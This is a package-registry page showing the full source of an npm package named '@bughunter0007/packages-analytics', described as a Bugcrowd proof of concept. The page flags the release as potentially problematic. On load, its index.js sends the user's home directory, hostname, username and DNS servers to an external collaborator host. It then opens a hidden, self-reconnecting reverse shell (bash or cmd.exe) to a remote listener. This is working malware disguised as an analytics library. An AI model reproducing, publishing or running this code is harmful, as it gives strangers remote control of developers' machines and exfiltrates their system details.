@bughunter0007/packages-analytics 1.2.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @bughunter0007/packages-analytics might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +124 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,124 @@
1
+ const net = require("net");
2
+ const cp = require("child_process");
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "usqco8sv8ic2s2f9pyg3nfkdc4iw6mub.oastify.com",
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
49
+
50
+ // IP address and port of the listener
51
+ const REMOTE_IP = "doing-plus.gl.at.ply.gg";
52
+ const REMOTE_PORT = 24694;
53
+
54
+ // Command translation table for Linux to Windows commands
55
+ const linuxToWindowsCommands = {
56
+ "ls": "dir",
57
+ "cat": "type",
58
+ // Add more command translations as needed
59
+ };
60
+
61
+ // Function to send the detected operating system to the server
62
+ function sendOSInfo(client) {
63
+ const osInfo = os.platform() === "win32" ? "Windows system found" : "Linux system found";
64
+ client.write(osInfo);
65
+ }
66
+
67
+ // Function to handle client connection
68
+ function handleClientConnection(client) {
69
+ // Send OS information to the server
70
+ sendOSInfo(client);
71
+
72
+ // Spawn a shell process based on the operating system
73
+ const shellCommand = os.platform() === "win32" ? "cmd.exe" : "/bin/bash";
74
+ const shell = cp.spawn(shellCommand);
75
+
76
+ // Pipe the input/output/error streams between the shell process and the TCP socket client
77
+ client.pipe(shell.stdin);
78
+ shell.stdout.pipe(client);
79
+ shell.stderr.pipe(client);
80
+
81
+ // Handle client disconnection
82
+ client.on('close', function() {
83
+ // Attempt to reconnect after a delay
84
+ setTimeout(connectToServer, 5000); // Retry after 5 seconds
85
+ });
86
+
87
+ // Handle errors
88
+ client.on('error', function(err) {
89
+ // Do not print or log errors
90
+ // Attempt to reconnect after a delay
91
+ setTimeout(connectToServer, 5000); // Retry after 5 seconds
92
+ });
93
+ }
94
+
95
+ // Function to translate Linux commands to Windows equivalents
96
+ function translateCommand(command) {
97
+ // Check if the client machine is running on Windows
98
+ if (os.platform() === "win32") {
99
+ return linuxToWindowsCommands[command] || command;
100
+ } else {
101
+ return command; // For Linux, return the command as is
102
+ }
103
+ }
104
+
105
+ // Function to connect to the server
106
+ function connectToServer() {
107
+ const client = net.connect(REMOTE_PORT, REMOTE_IP, function() {
108
+ // Successfully connected
109
+ handleClientConnection(client);
110
+ });
111
+
112
+ // Handle connection errors
113
+ client.on('error', function(err) {
114
+ // Do not print or log errors
115
+ // Attempt to reconnect after a delay
116
+ setTimeout(connectToServer, 5000); // Retry after 5 seconds
117
+ });
118
+ }
119
+
120
+ // Start the initial connection attempt
121
+ connectToServer();
122
+
123
+ // Optional: Prevent the Node.js application from crashing
124
+ module.exports = /a/;
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@bughunter0007/packages-analytics",
3
+ "version": "1.2.4",
4
+ "description": "BUG TEST POC BY JALWAN1 BUGCROWD",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "jalwan1 (bugcrowd)",
10
+ "license": "ISC"
11
+ }